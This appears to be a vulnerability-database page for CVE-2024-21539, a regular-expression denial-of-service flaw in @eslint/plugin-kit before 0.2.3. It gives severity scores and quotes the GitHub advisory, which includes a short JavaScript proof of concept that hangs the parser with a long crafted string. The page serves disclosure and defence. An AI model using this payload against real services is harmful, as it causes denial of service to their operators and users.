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CVE-2024-21539

HIGH
Published 2024-11-19T05:00:02.929Z
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CVSS Score

V3.1
7.5
/10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.003
probability
of exploitation in the wild

There is a 0.3% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.533
Higher than 53.3% of all CVEs

Attack Vector Metrics

Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED

Impact Metrics

Confidentiality
NONE
Integrity
NONE
Availability
HIGH

Description

Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.

Available Exploits

No exploits available for this CVE.

Related News

No news articles found for this CVE.

Affected Products

eslint

rewrite

Affected Versions:

0

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed LOW

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

GHSA-7q7g-4xm8-89cq

Advisory Details

Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```

Affected Packages

npm @eslint/plugin-kit
ECOSYSTEM: ≥0 <0.2.3

CVSS Scoring

CVSS Score

2.5

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

References

WEB https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2024-21539
WEB https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf
PACKAGE https://github.com/eslint/rewrite
WEB https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627

Advisory provided by GitHub Security Advisory Database. Published: November 15, 2024, Modified: November 19, 2024

References

https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627
https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf
Published: 2024-11-19T05:00:02.929Z
Last Modified: 2024-11-19T15:18:10.708Z
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